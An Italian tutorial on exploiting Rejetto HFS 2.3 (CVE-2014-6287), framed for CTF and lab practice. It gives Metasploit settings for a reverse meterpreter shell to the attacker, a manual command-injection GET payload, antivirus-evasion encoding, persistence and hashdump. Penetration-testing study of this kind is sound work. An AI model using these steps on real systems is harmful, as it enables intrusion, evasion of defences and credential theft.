Tutorials

Guida Operativa: Exploiting di un HTTP File Server Vulnerabile (Rejetto HFS 2.3)

HttpFileServer HFS è una piccola applicazione server HTTP per Windows, utilizzata per la condivisione di file. La versione 2.3 presenta una vulnerabilità nota che consente l'esecuzione remota di coman

#exploitation#windows#metasploit

Guida Operativa: Exploiting di un HTTP File Server Vulnerabile (Rejetto HFS 2.3)

1. Introduzione

HttpFileServer (HFS) è una piccola applicazione server HTTP per Windows, utilizzata per la condivisione di file. La versione 2.3 presenta una vulnerabilità nota che consente l'esecuzione remota di comandi (RCE).

La vulnerabilità può essere sfruttata facilmente tramite Metasploit utilizzando un modulo exploit dedicato.

Questa guida descrive:

  • La fase di riconoscimento
  • L'identificazione della vulnerabilità
  • L'exploitation tramite Metasploit
  • Approfondimenti tecnici e alternative

2. Ricognizione e Identificazione del Servizio

Eseguendo una scansione con Nmap:

bash
nmap -sV -p 80 <IP_TARGET>

Output tipico:

bash
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3

Con il flag -sV abbiamo rilevato la versione precisa del software: HttpFileServer 2.3.


3. Identificazione della Vulnerabilità

La versione 2.3 di HFS è vulnerabile ad attacchi RCE a causa di una cattiva gestione dei parametri passati via URL, che possono essere interpretati ed eseguiti come comandi di sistema.

CVE associata: CVE-2014-6287.


4. Exploitation tramite Metasploit

Metasploit fornisce un modulo pronto all'uso:

Modulo: exploit/windows/http/rejetto_hfs_exec

4.1 Configurazione Exploit

In msfconsole:

bash
use exploit/windows/http/rejetto_hfs_exec

set RHOSTS <IP_TARGA> set RPORT 80 set TARGET 0 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <IP_ATTACCANTE> set LPORT <PORTA_LISTENER> run

Note operative:

  • Assicurarsi che LHOST sia raggiungibile dalla macchina target.
  • Se è in esecuzione un firewall, potrebbe essere necessario usare porte comuni (es. 443).

4.2 Esecuzione

Una volta lanciato l'exploit, verrà stabilita una sessione meterpreter.

bash
meterpreter > sysinfo

Confermare l'accesso alla macchina remota.


5. Approfondimenti Tecnici

5.1 Funzionamento Interno dell'Exploit

  • L'exploit invia una richiesta HTTP malformata.
  • All'interno dell'URL, viene utilizzato il metodo GET per iniettare comandi nel server vulnerabile.
  • Il comando viene eseguito con i privilegi dell'utente che esegue HFS.

Esempio manuale di exploit HTTP:

http
GET /?search=%00{.exec|cmd.exe /c calc.exe.} HTTP/1.1
Host: <IP_TARGA>

Questo aprirebbe la calcolatrice sulla macchina bersaglio.

5.2 Alternative di Exploitation

  • Exploitation manuale: crafting manuale di richieste HTTP senza l'ausilio di Metasploit.
  • Payload custom: invio di script personalizzati (es. Powershell) piuttosto che Meterpreter.
  • Chaining: usare il foothold ottenuto per pivoting interno alla rete.

6. Tecniche Complementari e Migliorie

  • Bypass Antivirus: codifica del payload con encoder Metasploit tipo x86/shikata_ga_nai.
  • Persistence: una volta guadagnato l'accesso, stabilire una backdoor per accessi successivi.
  • PrivEsc: enumerare la macchina per scoprire vulnerabilità locali che consentano la scalata dei privilegi.

Strumenti utili post-exploitation:

  • post/windows/gather/hashdump
  • post/multi/recon/local_exploit_suggester

7. Considerazioni Finali

Questa vulnerabilità è molto utile in ambienti CTF e laboratori formativi, ma è bene ricordare che in ambienti reali sistemi con HFS 2.3 sono estremamente obsoleti. In scenari di penetration test formale, l'identificazione preventiva di tali software è già da considerarsi una Critical Finding.


8. Riferimenti Utili